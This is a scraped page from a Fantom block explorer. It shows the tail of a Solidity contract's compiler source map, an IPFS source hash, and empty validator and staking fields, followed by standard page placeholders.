9;13119:16;;12880:261;;;;:::o;13147:185::-;;13204:20;13222:1;13204:20;:::i;:::-;13199:25;;13238:20;13256:1;13238:20;:::i;:::-;13233:25;;13277:1;13267:2;;13282:18;;:::i;:::-;13267:2;13324:1;13321;13317:9;13312:14;;13189:143;;;;:::o;13338:348::-;;13401:20;13419:1;13401:20;:::i;:::-;13396:25;;13435:20;13453:1;13435:20;:::i;:::-;13430:25;;13623:1;13555:66;13551:74;13548:1;13545:81;13540:1;13533:9;13526:17;13522:105;13519:2;;;13630:18;;:::i;:::-;13519:2;13678:1;13675;13671:9;13660:20;;13386:300;;;;:::o;13692:527::-;;13751:19;13768:1;13751:19;:::i;:::-;13746:24;;13784:19;13801:1;13784:19;:::i;:::-;13779:24;;13973:1;13905:66;13901:74;13898:1;13894:82;13889:1;13886;13882:9;13875:17;13871:106;13868:2;;;13980:18;;:::i;:::-;13868:2;14159:1;14091:66;14087:74;14084:1;14080:82;14076:1;14073;14069:9;14065:98;14062:2;;;14166:18;;:::i;:::-;14062:2;14211:1;14208;14204:9;14196:17;;13736:483;;;;:::o;14225:191::-;;14285:20;14303:1;14285:20;:::i;:::-;14280:25;;14319:20;14337:1;14319:20;:::i;:::-;14314:25;;14358:1;14355;14352:8;14349:2;;;14363:18;;:::i;:::-;14349:2;14408:1;14405;14401:9;14393:17;;14270:146;;;;:::o;14422:96::-;;14488:24;14506:5;14488:24;:::i;:::-;14477:35;;14467:51;;;:::o;14524:90::-;;14601:5;14594:13;14587:21;14576:32;;14566:48;;;:::o;14620:76::-;;14685:5;14674:16;;14664:32;;;:::o;14702:126::-;;14779:42;14772:5;14768:54;14757:65;;14747:81;;;:::o;14834:77::-;;14900:5;14889:16;;14879:32;;;:::o;14917:86::-;;14992:4;14985:5;14981:16;14970:27;;14960:43;;;:::o;15009:307::-;15077:1;15087:113;15101:6;15098:1;15095:13;15087:113;;;15186:1;15181:3;15177:11;15171:18;15167:1;15162:3;15158:11;15151:39;15123:2;15120:1;15116:10;15111:15;;15087:113;;;15218:6;15215:1;15212:13;15209:2;;;15298:1;15289:6;15284:3;15280:16;15273:27;15209:2;15058:258;;;;:::o;15322:320::-;;15403:1;15397:4;15393:12;15383:22;;15450:1;15444:4;15440:12;15471:18;15461:2;;15527:4;15519:6;15515:17;15505:27;;15461:2;15589;15581:6;15578:14;15558:18;15555:38;15552:2;;;15608:18;;:::i;:::-;15552:2;15373:269;;;;:::o;15648:180::-;15696:77;15693:1;15686:88;15793:4;15790:1;15783:15;15817:4;15814:1;15807:15;15834:180;15882:77;15879:1;15872:88;15979:4;15976:1;15969:15;16003:4;16000:1;15993:15;16020:180;16068:77;16065:1;16058:88;16165:4;16162:1;16155:15;16189:4;16186:1;16179:15;16206:102;;16298:2;16294:7;16289:2;16282:5;16278:14;16274:28;16264:38;;16254:54;;;:::o;16314:122::-;16387:24;16405:5;16387:24;:::i;:::-;16380:5;16377:35;16367:2;;16426:1;16423;16416:12;16367:2;16357:79;:::o;16442:120::-;16514:23;16531:5;16514:23;:::i;:::-;16507:5;16504:34;16494:2;;16552:1;16549;16542:12;16494:2;16484:78;:::o;16568:122::-;16641:24;16659:5;16641:24;:::i;:::-;16634:5;16631:35;16621:2;;16680:1;16677;16670:12;16621:2;16611:79;:::o

Swarm Source

ipfs://d89dbec83bfa6ad39f05c520f9c125599f8c0029136e5a7ad57c2fd9511a07fc
Block Transaction Gas Used Reward
Age Block Fee Address BC Fee Address Voting Power Jailed Incoming
Validator ID :
0 FTM

Amount Staked
0

Amount Delegated
0

Staking Total
0

Staking Start Epoch
0

Staking Start Time
0

Proof of Importance
0

Origination Score
0

Validation Score
0

Active
0

Online
0

Downtime
0 s
Address Amount claimed Rewards Created On Epoch Created On
Block Uncle Number Difficulty Gas Used Reward
Loading
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.